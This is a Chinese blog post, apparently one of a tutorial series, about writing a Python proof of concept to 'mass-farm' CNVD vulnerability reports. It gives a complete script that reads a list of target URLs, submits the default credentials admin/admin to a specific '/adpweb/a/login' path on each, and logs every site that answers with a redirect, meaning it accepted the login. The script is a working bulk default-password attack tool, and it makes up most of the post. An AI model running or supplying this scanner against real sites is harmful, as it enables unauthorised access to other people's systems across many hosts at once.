PythonPoc基础编写(3)---批量刷cnvd


前言

想刷cnvd?最重要的是登录进行测试功能点


一、发现过程

找到一个网站
在这里插入图片描述
发现登录失败返回200
在这里插入图片描述
登录成功则是重定向 302
那就写一个脚本吧

二、使用步骤

1.引入库

import requests

2.读入数据

import requests

# 读取 URL 文件
with open('urls.txt', 'r') as file:
    urls = file.readlines()

# 请求头
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0"
}

# 请求数据
data = {
    "username": "admin",
    "password": "admin"
}

# 对每个 URL 发送 POST 请求
for url in urls:
    url = url.strip()
    if not url.startswith("http://") and not url.startswith("https://"):
        url = f"http://{url}"
    url = f"{url.rstrip('/')}/adpweb/a/login"

    try:
        response = requests.post(url, headers=headers, data=data, allow_redirects=False)
        print(f"请求 URL: {url}")
        print("状态代码:", response.status_code)
        redirect_location = response.headers.get('Location')
        print("重定向地址:", redirect_location)

        print("=" * 50)

        # 如果有重定向,记录相关信息
        if redirect_location:
            with open('redirect_log.txt', 'a') as log_file:
                log_file.write(f"URL: {url}\n")
                log_file.write(f"Username: {data['username']}\n")
                log_file.write(f"Password: {data['password']}\n")
                log_file.write(f"Redirect Location: {redirect_location}\n")
                log_file.write("=" * 50 + "\n")
    except requests.exceptions.RequestException as e:
        print(f"请求 URL {url} 失败: {e}")
        print("=" * 50)



结果

在这里插入图片描述
在这里插入图片描述

总结

只要找到特征就可以批量进行登录,poc很简单的,六花祝你天天开心

相关推荐

  1. C#编程简单应用程序批量修改文件名3.0

    2024-06-18 12:04:02       60 阅读
  2. 0基础图论最短路 3(从ATcoder 0分到1800分)

    2024-06-18 12:04:02       79 阅读
  3. 题笔记3

    2024-06-18 12:04:02       56 阅读
  4. 排序3

    2024-06-18 12:04:02       56 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-18 12:04:02       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-18 12:04:02       106 阅读
  3. 在Django里面运行非项目文件

    2024-06-18 12:04:02       87 阅读
  4. Python语言-面向对象

    2024-06-18 12:04:02       96 阅读

热门阅读

  1. Aeron:Common Errors

    2024-06-18 12:04:02       37 阅读
  2. Nginx 网站服务

    2024-06-18 12:04:02       22 阅读
  3. 整理水土保持设计乙级资质申报材料的全面指南

    2024-06-18 12:04:02       36 阅读
  4. 【康复学习--LeetCode每日一题】2288. 价格减免

    2024-06-18 12:04:02       41 阅读
  5. C语言从头学21——函数

    2024-06-18 12:04:02       35 阅读
  6. 自然语言处理nlp概述

    2024-06-18 12:04:02       41 阅读
  7. 等保测评机构选择与测评委托流程全解析

    2024-06-18 12:04:02       33 阅读